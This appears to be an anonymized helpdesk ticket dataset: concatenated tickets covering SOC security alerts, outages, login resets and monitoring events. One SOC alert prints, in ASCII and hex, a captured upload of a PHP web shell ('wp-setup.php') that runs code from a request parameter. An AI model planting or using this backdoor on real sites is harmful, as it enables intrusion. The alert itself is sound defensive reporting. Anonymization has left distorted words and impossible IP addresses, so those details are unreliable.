we are seeing your 80.71.06.702/company-european-asa.company.com-1 device generating a high volume of 'repeat outbound connection for 135/tcp' alerts for traffic (blocked) from evhl8114123/10.16.140.231 to port 135/tcp (remote procedure call (rpc)) of external host 62.157.140.133. this may indicate a misconfiguration, where the firewall is blocking traffic to a legitimate server/application. this may also indicate a compromised host reaching out to a malicious host or propagating worm code.\_x000D\_
\_x000D\_
we are escalating this incident to you via a medium priority ticket and email per our default event handling procedures. if you would like us to handle these incidents differently in the future (see below for handling options), or if you have any further questions or concerns, please let us know either by corresponding to us via this ticket and delegating the ticket back to the soc, or by calling us at . \_x000D\_
\_x000D\_
1) full escalation for windows login failure alerts (explicit notification via a high priority ticket and a phone call)\_x000D\_
2) automatically resolve windows login failure alerts directly to the portal (no explicit notification but events will be available for reporting purposes in the portal)\_x000D\_
\_x000D\_
sincerely,\_x000D\_
secureworks soc\_x000D\_
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=========================\_x000D\_
technical details\_x000D\_
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remote procedure call (rpc), also known as the loovexfbjy lmcaqfkz (loc-srv), is a microsoft windows protocol that allows an application to to execute code in another address space (commonly on another computer on a shared network) without the programdntymer explicitly coding the details for this remote interaction. that is, the programdntymer writes germanytially the same code whether the subroutine is local to the executing programdnty, or remote. \_x000D\_
\_x000D\_
an rpc is initiated by the client, which sends a request message to a known remote server to execute a specified procedure with supplied paramdntyeters. the remote server sends a response to the client, and the application continues its process. rpc runs on port 135, and is used in client/server applications (such as microsoft exchange clients, mgermanyger service, dhcp server, dns server, wins, as well as other windows applications). vulnerabilities in rpc have also been leveraged by several worms as a means for propagation. examples include:\_x000D\_
-w32.blaster.worm/msblast/lovsan \_x000D\_
-w32.welchia/nachi\_x000D\_
-w32.reatle\_x000D\_
\_x000D\_
\_x000D\_
=========================\_x000D\_
references\_x000D\_
=========================\_x000D\_
\_x000D\_
\_x000D\_
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\_x000D\_
\_x000D\_
\_x000D\_
=========================\_x000D\_
event data\_x000D\_
=========================\_x000D\_
related events: \_x000D\_
event id: 81646471\_x000D\_
event summary: repeat outbound connection for 135/tcp\_x000D\_
occurrence count: 234\_x000D\_
event count: 2\_x000D\_
\_x000D\_
host and connection information\_x000D\_
source ip: 10.16.140.231\_x000D\_
source hostname: evhl8114123 \_x000D\_
source port: 54411\_x000D\_
destination ip: 62.157.140.133\_x000D\_
destination port: 135\_x000D\_
destination ip geolocation: ulm, deu\_x000D\_
connection directionality: outgoing\_x000D\_
protocol: tcp\_x000D\_
\_x000D\_
device information\_x000D\_
device ip: 80.71.06.702\_x000D\_
device name: company-european-asa.company.com-1\_x000D\_
log time: 2016-08-15 at 09:26:41 utc\_x000D\_
action: blocked\_x000D\_
cvss score: -1 \_x000D\_
\_x000D\_
scwx event processing information\_x000D\_
sherlock rule id (sle): 237526\_x000D\_
inspector rule id: 186739\_x000D\_
inspector event id: 626672260\_x000D\_
ontology id: 200020003203009162\_x000D\_
event type id: 200020003203009062\_x000D\_
agent id: 103761\_x000D\_
\_x000D\_
event detail:\_x000D\_
aug 15 09:26:41 80.71.06.702 %asa-4-106023: deny tcp src inside:10.16.140.231/54411 dst noris:62.157.140.133/135 by access-group "acl\_inside" [0xed29b7f9, 0x0]\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
event id: 81646714\_x000D\_
event summary: repeat outbound connection for 135/tcp\_x000D\_
occurrence count: 234\_x000D\_
event count: 2\_x000D\_
\_x000D\_
host and connection information\_x000D\_
source ip: 10.16.140.231\_x000D\_
source hostname: evhl8114123 \_x000D\_
source port: 54411\_x000D\_
destination ip: 80.156.86.78\_x000D\_
destination port: 135\_x000D\_
destination ip geolocation: ulm, deu\_x000D\_
connection directionality: outgoing\_x000D\_
protocol: tcp\_x000D\_
\_x000D\_
device information\_x000D\_
device ip: 80.71.06.702\_x000D\_
device name: company-european-asa.company.com-1\_x000D\_
log time: 2016-08-15 at 09:26:41 utc\_x000D\_
action: blocked\_x000D\_
cvss score: -1 \_x000D\_
\_x000D\_
scwx event processing information\_x000D\_
sherlock rule id (sle): 237526\_x000D\_
inspector rule id: 186739\_x000D\_
inspector event id: 626672260\_x000D\_
ontology id: 200020003203009162\_x000D\_
event type id: 200020003203009062\_x000D\_
agent id: 103761\_x000D\_
\_x000D\_
event detail:\_x000D\_
aug 15 09:27:49 80.71.06.702 %asa-4-106023: deny tcp src inside:10.16.140.231/54481 dst noris:80.156.86.78/135 by access-group "acl\_inside" [0xed29b7f9, 0x0], is assigned to Assignment group: GRP\_2.Ticket with Short description: circuit outage: carrier, india telecom\_vendor\_1 circuit is down since 3:55 am et on 08/16 site is up on primary tikona circuit, Description: what type of outage: \_x\_\_\_\_network \_\_\_\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_\_no\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_\_\_\_\_3:55 am et on 08/16\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_\_no\_\_\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_\_no\_\_\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_\_yes\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_\_\_yes\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_na\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_\_na\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_\_\_yes\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_\_\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: unable to access site , Description: unable to access site , is assigned to Assignment group: GRP\_0.Ticket with Short description: could you please help set up erp. my user name and password do not work, Description: \_x000D\_
\_x000D\_
received from: saqbgcpl.ybfzcjiq@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
could you please help set up erp. my user name and password do not work.\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: zmmdata currency error when trying to extend to plant\_317. assign to vaghjmskee krisyuhnyrt, Description: zmmdata currency error when trying to extend to plant\_317. assign to vaghjmskee krisyuhnyrt
i am getting the following error when trying to extend to plant\_317. example mm#2240970
currency amount 3.4500 jpy in field moving\_pr could not be converted
, is assigned to Assignment group: GRP\_20.Ticket with Short description: unable to connect to dv06, Description: unable to connect to dv06, is assigned to Assignment group: GRP\_0.Ticket with Short description: error login on to the SID\_34 system., Description: error login on to the SID\_34 system.\_x000D\_
-verified user details.(employee# & manager name)\_x000D\_
-user has tried the password\_management\_tool pwd manager.\_x000D\_
-unlocked and reset the erp id to"daypay3".\_x000D\_
-caller confirmed that he was able to login.\_x000D\_
-issue resolved., is assigned to Assignment group: GRP\_0.Ticket with Short description: security incidents - ( sw #in33501789 ) : broadscanning: possible vulnerability scanning - 46.161.9.35, Description: we are seeing activity indicating the host at 46.161.9.35 is conducting a vulnerability scan. these scans are used to identify specific vulnerabilities on a remote host that could be exploited to potentially interfere with service availability, execute code, or usa an attacker with unauthorized access. the results of this scan could be used for future attacks or exploitation of the targeted host(s). \_x000D\_
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based on our internet visibility we are detecting this as a non-targeted broadscan. similar activity from this source has been detected across our client base. please consider blocking this ip address and investigating the host for any malicious scrip\_x000D\_
\_x000D\_
we are escalating this incident to you via a medium priority ticket as per our default event handling procedures. if you would like us to handle these incidents differently in the future (see below for handling options), or if you have any further questions or concerns, please let us know either by corresponding to us via this ticket and delegating the ticket back to the soc, or by calling us at .\_x000D\_
\_x000D\_
1)full escalation for broadscanning alerts (explicit notification via a high priority ticket and phone call)\_x000D\_
2)autoresolve for broadscanning alerts directly to the portal (no explicit notification but events will be available for reporting purposes in the portal)\_x000D\_
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sincerely,\_x000D\_
secureworks soc\_x000D\_
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event data\_x000D\_
=========================\_x000D\_
related events: \_x000D\_
event id: 43589636\_x000D\_
event summary: 20369 vid12631 suspicious executable file upload php http incoming\_x000D\_
occurrence count: 2\_x000D\_
event count: 2\_x000D\_
\_x000D\_
host and connection information\_x000D\_
source ip: 46.161.9.35\_x000D\_
source port: 52806\_x000D\_
source ip geolocation: st pethrywrsburg, rus\_x000D\_
destination ip: 172.20.10.37\_x000D\_
destination port: 80\_x000D\_
connection directionality: incoming\_x000D\_
protocol: tcp\_x000D\_
http method: post\_x000D\_
http status code: 404\_x000D\_
user agent: mozilla/5.0 (windows nt 6.1; rv:34.0) gecko/31211212 firefox/34.0\_x000D\_
host: www.companyipg.com\_x000D\_
full url path: /wp-content/plugins/inboundio-markhtyeting/admin/partials/csv\_uploader.php\_x000D\_
\_x000D\_
device information\_x000D\_
device ip: 172.20.10.208\_x000D\_
device name: isensor02.company.com\_x000D\_
log time: 2016-08-14 at 20:38:30 utc\_x000D\_
action: not blocked\_x000D\_
vendor eventid: 655375\_x000D\_
cvss score: -1 \_x000D\_
vendor priority: 3\_x000D\_
vendor version: 7\_x000D\_
vendor reference: vid, 12631\_x000D\_
file name: wp-setup.php\_x000D\_
\_x000D\_
scwx event processing information\_x000D\_
sherlock rule id (sle): 891631\_x000D\_
inspector rule id: 277082\_x000D\_
inspector event id: 61024435\_x000D\_
ontology id: 200020003203722280\_x000D\_
event type id: 200020003203056732\_x000D\_
agent id: 103793\_x000D\_
\_x000D\_
event detail:\_x000D\_
[\*\*] [1:21131470:5] 20369 vid12631 suspicious executable file upload php http incoming [\*\*]\_x000D\_
[classification: none] [priority: 3] [action: accept\_passive] [impact\_flag: 0] [impact: 0] [blocked: 2] [vlan: 0] [mpls label: 0] [pad2: 1]\_x000D\_
[sensor id: 602984][event id: 655375][time: 2582318221.714106]\_x000D\_
[xref => vid, 12631]\_x000D\_
[src ip: 46.161.9.35][dst ip: 172.20.10.37][sport/itype: 52806][dport/icode: 80][proto: 6]\_x000D\_
08/14/2016-20:38:30.714106 46.161.9.35:52806 -> 172.20.10.37:80\_x000D\_
tcp ttl:49 tos:0x68 id:4444 iplen:20 dgmlen:714 df\_x000D\_
\*\*\*ap\*\*\* seq: 0x49c51796 ack: 0x9698e7c8 win: 0x73 tcplen: 32\_x000D\_
tcp options (3) => nop nop ts: 380683315 9237098 \_x000D\_
==pcap 1==\_x000D\_
\_x000D\_
\_x000D\_
[ex http\_uri 9: /wp-content/plugins/inboundio-markhtyeting/admin/partials/csv\_uploader.php]\_x000D\_
\_x000D\_
[ex http\_hostname 10: www.companyipg.com]\_x000D\_
\_x000D\_
[o:security]\_x000D\_
\_x000D\_
ascii packet(s):\_x000D\_
==pcap 1 ascii s==\_x000D\_
.......wz...........eh...\@.1.gm...#...%.f.pi..........sk2...........|..post./wp-content/plugins/inboundio-markhtyeting/admin/partials/csv\_uploader.php.http/1.1..host:.www.companyipg.com..content-length:.297..accept-encoding:.gzip,.deflate..accept:.\*/\*..user-agent:.mozilla/5.0.(windows.nt.6.1;.rv:34.0).gecko/31211212.firefox/34.0..connection:.keep-alive..content-type:.multipart/form-data;.boundary=ba7336a47f1648dc9255eb59510e6f02....--ba7336a47f1648dc9255eb59510e6f02..content-disposition:.form-data;.name="file";.filename="wp-setup.php"..content-type:.text/plain....<?php.if.(!isset($\_request['e51e'])).header("http/1.0.404.not.found");.@preg\_replace('/(.\*)/e',.@$\_request['e51e'],.'');.?>..--ba7336a47f1648dc9255eb59510e6f02--..\_x000D\_
==pcap 1 ascii e==\_x000D\_
\_x000D\_
hex packet(s):\_x000D\_
==pcap 1 hex s==\_x000D\_
000000 0c00 0000 c6d6 b057 7ae5 0a00 ca02 0000 .......wz.......\_x000D\_
000010 ca02 0000 4568 02ca 115c 4000 3106 476d ....eh...\@.1.gm\_x000D\_
000020 2ea1 0923 ac14 0a25 ce46 0050 49c5 1796 ...#...%.f.pi...\_x000D\_
000030 9698 e7c8 8018 0073 6b32 0000 0101 080a .......sk2......\_x000D\_
000040 10a9 eeec 007c 020b 504f 5354 202f 7770 .....|..post./wp\_x000D\_
000050 2d63 6f6e 7465 6e74 2f70 6c75 6769 6e73 -content/plugins\_x000D\_
000060 2f69 6e62 6f75 6e64 696f 2d6d 6172 6b65 /inboundio-markhtye\_x000D\_
000070 7469 6e67 2f61 646d 696e 2f70 6172 7469 ting/admin/parti\_x000D\_
000080 616c 732f 6373 765f 7570 6c6f 6164 6572 als/csv\_uploader\_x000D\_
000090 2e70 6870 2048 5454 502f 312e 310d 0a48 .php.http/1.1..h\_x000D\_
0000a0 6f73 743a 2077 7777 2e6b 656e 6e61 6d65 ost:.www.companyme\_x000D\_
0000b0 7461 6c69 7067 2e63 6f6d 0d0a 436f 6e74 talipg.com..cont\_x000D\_
0000c0 656e 742d 4c65 6e67 7468 3a20 3239 370d ent-length:.297.\_x000D\_
0000d0 0a41 6363 6570 742d 456e 636f 6469 6e67 .accept-encoding\_x000D\_
0000e0 3a20 677a 6970 2c20 6465 666c 6174 650d :.gzip,.deflate.\_x000D\_
0000f0 0a41 6363 6570 743a 202a 2f2a 0d0a 5573 .accept:.\*/\*..us\_x000D\_
000100 6572 2SID\_29 6765 6e74 3a20 4d6f 7a69 6c6c er-agent:.mozill\_x000D\_
000110 612f 352e 3020 2857 696e 646f 7773 204e a/5.0.(windows.n\_x000D\_
000120 5420 362e 313b 2072 763a 3334 2e30 2920 t.6.1;.rv:34.0).\_x000D\_
000130 4765 636b 6f2f 3230 3130 3031 3031 2046 gecko/31211212.f\_x000D\_
000140 6972 6566 6f78 2f33 342e 300d 0a43 6f6e irefox/34.0..con\_x000D\_
000150 6e65 6374 696f 6e3a 206b 6565 702d 616c nection:.keep-al\_x000D\_
000160 6976 650d 0a43 6f6e 7465 6e74 2d54 7970 ive..content-typ\_x000D\_
000170 653a 206d 756c 7469 7061 7274 2f66 6f72 e:.multipart/for\_x000D\_
000180 6d2d 6461 7461 3b20 626f 756e 6461 7279 m-data;.boundary\_x000D\_
000190 3d62 6137 3333 3661 3437 6631 3634 3864 =ba7336a47f1648d\_x000D\_
0001a0 6339 3235 3565 6235 3935 3130 6536 6630 c9255eb59510e6f0\_x000D\_
0001b0 320d 0a0d 0a2d 2d62 6137 3333 3661 3437 2....--ba7336a47\_x000D\_
0001c0 6631 3634 3864 6339 3235 3565 6235 3935 f1648dc9255eb595\_x000D\_
0001d0 3130 6536 6630 320d 0a43 6f6e 7465 6e74 10e6f02..content\_x000D\_
0001e0 2d44 6973 706f 7369 7469 6f6e 3a20 666f -disposition:.fo\_x000D\_
0001f0 726d 2d64 6174 613b 206e 616d 653d 2266 rm-data;.name="f\_x000D\_
000200 696c 6522 3b20 6669 6c65 6e61 6d65 3d22 ile";.filename="\_x000D\_
000210 7770 2d73 6574 7570 2e70 6870 220d 0a43 wp-setup.php"..c\_x000D\_
000220 6f6e 7465 6e74 2d54 7970 653a 2074 6578 ontent-type:.tex\_x000D\_
000230 742f 706c 6169 6e0d 0a0d 0a3c 3f70 6870 t/plain....<?php\_x000D\_
000240 2069 6620 2821 6973 7365 7428 245f 5245 .if.(!isset($\_re\_x000D\_
000250 5155 4553 545b 2765 3531 6527 5d29 2920 quest['e51e'])).\_x000D\_
000260 6865 6164 6572 2822 4854 5450 2f31 2e30 header("http/1.0\_x000D\_
000270 2034 3034 204e 6f74 2046 6f75 6e64 2229 .404.not.found")\_x000D\_
000280 3b20 4070 7265 675f 7265 706c 6163 6528 ;.@preg\_replace(\_x000D\_
000290 272f 282e 2a29 2f65 272c 2040 245f 5245 '/(.\*)/e',.@$\_re\_x000D\_
0002a0 5155 4553 545b 2765 3531 6527 5d2c 2027 quest['e51e'],.'\_x000D\_
0002b0 2729 3b20 3f3e 0d0a 2d2d 6261 3733 3336 ');.?>..--ba7336\_x000D\_
0002c0 6134 3766 3136 3438 6463 3932 3535 6562 a47f1648dc9255eb\_x000D\_
0002d0 3539 3531 3065 3666 3032 2d2d 0d0a 59510e6f02--..\_x000D\_
==pcap 1 hex e==\_x000D\_
\_x000D\_
event id: 43589634\_x000D\_
event summary: 20369 vid12631 suspicious executable file upload php http incoming\_x000D\_
occurrence count: 2\_x000D\_
event count: 2\_x000D\_
\_x000D\_
host and connection information\_x000D\_
source ip: 46.161.9.35\_x000D\_
source port: 52806\_x000D\_
source ip geolocation: st pethrywrsburg, rus\_x000D\_
destination ip: 208.211.136.158\_x000D\_
destination port: 80\_x000D\_
connection directionality: incoming\_x000D\_
protocol: tcp\_x000D\_
http method: post\_x000D\_
http status code: 404\_x000D\_
user agent: mozilla/5.0 (windows nt 6.1; rv:34.0) gecko/31211212 firefox/34.0\_x000D\_
host: www.companyipg.com\_x000D\_
full url path: /wp-content/plugins/inboundio-markhtyeting/admin/partials/csv\_uploader.php\_x000D\_
\_x000D\_
device information\_x000D\_
device ip: 208.211.136.207\_x000D\_
device name: isensplant\_247.company.com\_x000D\_
log time: 2016-08-14 at 20:38:30 utc\_x000D\_
action: not blocked\_x000D\_
vendor eventid: 655375\_x000D\_
cvss score: -1 \_x000D\_
vendor priority: 3\_x000D\_
vendor version: 7\_x000D\_
vendor reference: vid, 12631\_x000D\_
file name: wp-setup.php\_x000D\_
\_x000D\_
scwx event processing information\_x000D\_
sherlock rule id (sle): 891631\_x000D\_
inspector rule id: 277082\_x000D\_
inspector event id: 61024435\_x000D\_
ontology id: 200020003203722280\_x000D\_
event type id: 200020003203056732\_x000D\_
agent id: 102989\_x000D\_
\_x000D\_
event detail:\_x000D\_
[\*\*] [1:21131470:5] 20369 vid12631 suspicious executable file upload php http incoming [\*\*]\_x000D\_
[classification: none] [priority: 3] [action: accept\_passive] [impact\_flag: 0] [impact: 0] [blocked: 2] [vlan: 0] [mpls label: 0] [pad2: 1]\_x000D\_
[sensor id: 602981][event id: 262411][time: 2582318221.758719]\_x000D\_
[xref => vid, 12631]\_x000D\_
[src ip: 46.161.9.35][dst ip: 208.211.136.158][sport/itype: 52806][dport/icode: 80][proto: 6]\_x000D\_
08/14/2016-20:38:30.758719 46.161.9.35:52806 -> 208.211.136.158:80\_x000D\_
tcp ttl:49 tos:0x68 id:4444 iplen:20 dgmlen:714 df\_x000D\_
\*\*\*ap\*\*\* seq: 0x3043ff92 ack: 0xdef989b5 win: 0x73 tcplen: 32\_x000D\_
tcp options (3) => nop nop ts: 380683315 9237098 \_x000D\_
==pcap 1==\_x000D\_
\_x000D\_
\_x000D\_
[ex http\_uri 9: /wp-content/plugins/inboundio-markhtyeting/admin/partials/csv\_uploader.php]\_x000D\_
\_x000D\_
[ex http\_hostname 10: www.companyipg.com]\_x000D\_
\_x000D\_
[o:security]\_x000D\_
\_x000D\_
ascii packet(s):\_x000D\_
==pcap 1 ascii s==\_x000D\_
.......w............eh...\@.1..4...#.....f.p0c.........s.1...........|..post./wp-content/plugins/inboundio-markhtyeting/admin/partials/csv\_uploader.php.http/1.1..host:.www.companyipg.com..content-length:.297..accept-encoding:.gzip,.deflate..accept:.\*/\*..user-agent:.mozilla/5.0.(windows.nt.6.1;.rv:34.0).gecko/31211212.firefox/34.0..connection:.keep-alive..content-type:.multipart/form-data;.boundary=ba7336a47f1648dc9255eb59510e6f02....--ba7336a47f1648dc9255eb59510e6f02..content-disposition:.form-data;.name="file";.filename="wp-setup.php"..content-type:.text/plain....<?php.if.(!isset($\_request['e51e'])).header("http/1.0.404.not.found");.@preg\_replace('/(.\*)/e',.@$\_request['e51e'],.'');.?>..--ba7336a47f1648dc9255eb59510e6f02--..\_x000D\_
==pcap 1 ascii e==\_x000D\_
\_x000D\_
hex packet(s):\_x000D\_
==pcap 1 hex s==\_x000D\_
000000 0c00 0000 c6d6 b057 bf93 0b00 ca02 0000 .......w........\_x000D\_
000010 ca02 0000 4568 02ca 115c 4000 3106 a434 ....eh...\@.1..4\_x000D\_
000020 2ea1 0923 d0d3 889e ce46 0050 3043 ff92 ...#.....f.p0c..\_x000D\_
000030 def9 89b5 8018 0073 0f31 0000 0101 080a .......s.1......\_x000D\_
000040 10a9 eeec 007c 020b 504f 5354 202f 7770 .....|..post./wp\_x000D\_
000050 2d63 6f6e 7465 6e74 2f70 6c75 6769 6e73 -content/plugins\_x000D\_
000060 2f69 6e62 6f75 6e64 696f 2d6d 6172 6b65 /inboundio-markhtye\_x000D\_
000070 7469 6e67 2f61 646d 696e 2f70 6172 7469 ting/admin/parti\_x000D\_
000080 616c 732f 6373 765f 7570 6c6f 6164 6572 als/csv\_uploader\_x000D\_
000090 2e70 6870 2048 5454 502f 312e 310d 0a48 .php.http/1.1..h\_x000D\_
0000a0 6f73 743a 2077 7777 2e6b 656e 6e61 6d65 ost:.www.companyme\_x000D\_
0000b0 7461 6c69 7067 2e63 6f6d 0d0a 436f 6e74 talipg.com..cont\_x000D\_
0000c0 656e 742d 4c65 6e67 7468 3a20 3239 370d ent-length:.297.\_x000D\_
0000d0 0a41 6363 6570 742d 456e 636f 6469 6e67 .accept-encoding\_x000D\_
0000e0 3a20 677a 6970 2c20 6465 666c 6174 650d :.gzip,.deflate.\_x000D\_
0000f0 0a41 6363 6570 743a 202a 2f2a 0d0a 5573 .accept:.\*/\*..us\_x000D\_
000100 6572 2SID\_29 6765 6e74 3a20 4d6f 7a69 6c6c er-agent:.mozill\_x000D\_
000110 612f 352e 3020 2857 696e 646f 7773 204e a/5.0.(windows.n\_x000D\_
000120 5420 362e 313b 2072 763a 3334 2e30 2920 t.6.1;.rv:34.0).\_x000D\_
000130 4765 636b 6f2f 3230 3130 3031 3031 2046 gecko/31211212.f\_x000D\_
000140 6972 6566 6f78 2f33 342e 300d 0a43 6f6e irefox/34.0..con\_x000D\_
000150 6e65 6374 696f 6e3a 206b 6565 702d 616c nection:.keep-al\_x000D\_
000160 6976 650d 0a43 6f6e 7465 6e74 2d54 7970 ive..content-typ\_x000D\_
000170 653a 206d 756c 7469 7061 7274 2f66 6f72 e:.multipart/for\_x000D\_
000180 6d2d 6461 7461 3b20 626f 756e 6461 7279 m-data;.boundary\_x000D\_
000190 3d62 6137 3333 3661 3437 6631 3634 3864 =ba7336a47f1648d\_x000D\_
0001a0 6339 3235 3565 6235 3935 3130 6536 6630 c9255eb59510e6f0\_x000D\_
0001b0 320d 0a0d 0a2d 2d62 6137 3333 3661 3437 2....--ba7336a47\_x000D\_
0001c0 6631 3634 3864 6339 3235 3565 6235 3935 f1648dc9255eb595\_x000D\_
0001d0 3130 6536 6630 320d 0a43 6f6e 7465 6e74 10e6f02..content\_x000D\_
0001e0 2d44 6973 706f 7369 7469 6f6e 3a20 666f -disposition:.fo\_x000D\_
0001f0 726d 2d64 6174 613b 206e 616d 653d 2266 rm-data;.name="f\_x000D\_
000200 696c 6522 3b20 6669 6c65 6e61 6d65 3d22 ile";.filename="\_x000D\_
000210 7770 2d73 6574 7570 2e70 6870 220d 0a43 wp-setup.php"..c\_x000D\_
000220 6f6e 7465 6e74 2d54 7970 653a 2074 6578 ontent-type:.tex\_x000D\_
000230 742f 706c 6169 6e0d 0a0d 0a3c 3f70 6870 t/plain....<?php\_x000D\_
000240 2069 6620 2821 6973 7365 7428 245f 5245 .if.(!isset($\_re\_x000D\_
000250 5155 4553 545b 2765 3531 6527 5d29 2920 quest['e51e'])).\_x000D\_
000260 6865 6164 6572 2822 4854 5450 2f31 2e30 header("http/1.0\_x000D\_
000270 2034 3034 204e 6f74 2046 6f75 6e64 2229 .404.not.found")\_x000D\_
000280 3b20 4070 7265 675f 7265 706c 6163 6528 ;.@preg\_replace(\_x000D\_
000290 272f 282e 2a29 2f65 272c 2040 245f 5245 '/(.\*)/e',.@$\_re\_x000D\_
0002a0 5155 4553 545b 2765 3531 6527 5d2c 2027 quest['e51e'],.'\_x000D\_
0002b0 2729 3b20 3f3e 0d0a 2d2d 6261 3733 3336 ');.?>..--ba7336\_x000D\_
0002c0 6134 3766 3136 3438 6463 3932 3535 6562 a47f1648dc9255eb\_x000D\_
0002d0 3539 3531 3065 3666 3032 2d2d 0d0a 59510e6f02--..\_x000D\_
==pcap 1 hex e==, is assigned to Assignment group: GRP\_2.Ticket with Short description: unable to connect to network printer, Description: unable to connect to network printer dv06 , is assigned to Assignment group: GRP\_0.Ticket with Short description: need access to exchange server on new company iphone, Description: i am being blocked from exchange activesync and need access to it. i just received a new company i6.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: HostName\_480 - verify filesystem h:, Description: dsw in31864001\_x000D\_
\_x000D\_
event id: 67771149\_x000D\_
event summary: [hw] filesystem near capacity - h:\_x000D\_
source ip: 39.48.23.356\_x000D\_
destination ip: \_x000D\_
device ip: 39.48.23.356\_x000D\_
device name: 39.48.23.356\_x000D\_
event extra data:\_x000D\_
inspectorruleid = 878981\_x000D\_
vendorclassification = none\_x000D\_
sherlockruleid = 566361\_x000D\_
logformat = mswineventlog\_x000D\_
windowseventid = 2013\_x000D\_
srchostname = HostName\_480\_x000D\_
ctainstanceid = 0\_x000D\_
username = n/a\_x000D\_
vendorpriority = 1\_x000D\_
logsource = system\_x000D\_
hostname = HostName\_480.company.company.com\_x000D\_
type = warning\_x000D\_
inspectoreventid = 529254549\_x000D\_
ileatdatacenter = true\_x000D\_
ontologystring = ms-system-srv-2013\_x000D\_
foreseemaliciouscomment = null or empty model found\_x000D\_
foreseeinternalip = 39.48.23.356\_x000D\_
group = mswineventlog\_x000D\_
logtimestamp = 2562437122\_x000D\_
agentid = 113550\_x000D\_
foreseeconndirection = internal\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_39.Ticket with Short description: re: deployment notification | telephony\_software 2016, Description:
received from: vetkdblx.nsuwkraj@gmail.com
daghyunny,
i had sent deployment notification last week with the target list. deployment was scheduled at 10:00 am in the morning, please find the attached email copy for your reference.
if you would have had any concerns in , is assigned to Assignment group: GRP\_0.Ticket with Short description: tastatur an r246 und r247 defekt., Description: tastatur an r246 und r247 defekt. bitte austauschen. (einzelne tasten funktionieren nicht mehr), is assigned to Assignment group: GRP\_33.Ticket with Short description: repeat outbound connection for 135/tcp, Description: dsw ticket in33417637\_x000D\_
\_x000D\_
we are seeing your 80.71.06.702/company-european-asa.company.com-1 device generating a high volume of 'repeat outbound connection for 135/tcp' alerts for traffic (blocked) from edml8111119/10.16.143.221 to port 135/tcp (remote procedure call (rpc)) of external host 31.199.53.9. this may indicate a misconfiguration, where the firewall is blocking traffic to a legitimate server/application. this may also indicate a compromised host reaching out to a malicious host or propagating worm code.\_x000D\_
\_x000D\_
we are escalating this incident to you via a medium priority ticket and email per our default event handling procedures. if you would like us to handle these incidents differently in the future (see below for handling options), or if you have any further questions or concerns, please let us know either by corresponding to us via this ticket and delegating the ticket back to the soc, or by calling us at . \_x000D\_
\_x000D\_
1) full escalation for windows login failure alerts (explicit notification via a high priority ticket and a phone call)\_x000D\_
2) automatically resolve windows login failure alerts directly to the portal (no explicit notification but events will be available for reporting purposes in the portal)\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_2.Ticket with Short description: event summary: [hw] service icmp/icmp is down, Description: dsw ticket in33426117\_x000D\_
\_x000D\_
event id: 80657337\_x000D\_
event summary: [hw] service icmp/icmp is down\_x000D\_
source ip: 10.44.86.12\_x000D\_
source hostname: ap-f5\_x000D\_
destination hostname: \_x000D\_
device ip: 10.44.86.12\_x000D\_
device name: ap-f5.company.com\_x000D\_
event extra data:\_x000D\_
inspectorruleid = 2132464\_x000D\_
sherlockruleid = 566281\_x000D\_
ileatdatacenter = true\_x000D\_
srchostname = ap-f5\_x000D\_
foreseemaliciouscomment = null or empty model found;evaluationmodels->808333:0.5001:0.0061|ngm:0.9619:0.0008;\_x000D\_
foreseeinternalip = 10.44.86.12\_x000D\_
irreceivedtime = 1469623856316\_x000D\_
foreseeconndirection = internal\_x000D\_
inspectoreventid = 860011815\_x000D\_
\_x000D\_
\_x000D\_
occurrence count: 1\_x000D\_
event count: 1\_x000D\_
\_x000D\_
event detail:\_x000D\_
from 46.45.62.5144 for device 10.44.86.12 summary: service icmp/icmp is down\_x000D\_
detail: service check failed! (100% failures)\_x000D\_
(icmp-echo) unable to ping 10.44.86.12, is assigned to Assignment group: GRP\_2.Ticket with Short description: abended job in job\_scheduler: Job\_1953b, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: Job\_1953b at 08/16/16 12:26:27, is assigned to Assignment group: GRP\_6.Ticket with Short description: event summary: [hw] service icmp/icmp is down, Description: dsw ticket in33575214\_x000D\_
\_x000D\_
related events: \_x000D\_
event id: 91538192\_x000D\_
event summary: [hw] service icmp/icmp is down\_x000D\_
occurrence count: 2\_x000D\_
event count: 1\_x000D\_
\_x000D\_
host and connection information\_x000D\_
source ip: 23.43.93.645\_x000D\_
source hostname: HostName\_67\_x000D\_
connection directionality: internal\_x000D\_
\_x000D\_
device information\_x000D\_
device ip: 23.43.93.645\_x000D\_
device name: HostName\_67.company.company.com\_x000D\_
\_x000D\_
scwx event processing information\_x000D\_
sherlock rule id (sle): 566281\_x000D\_
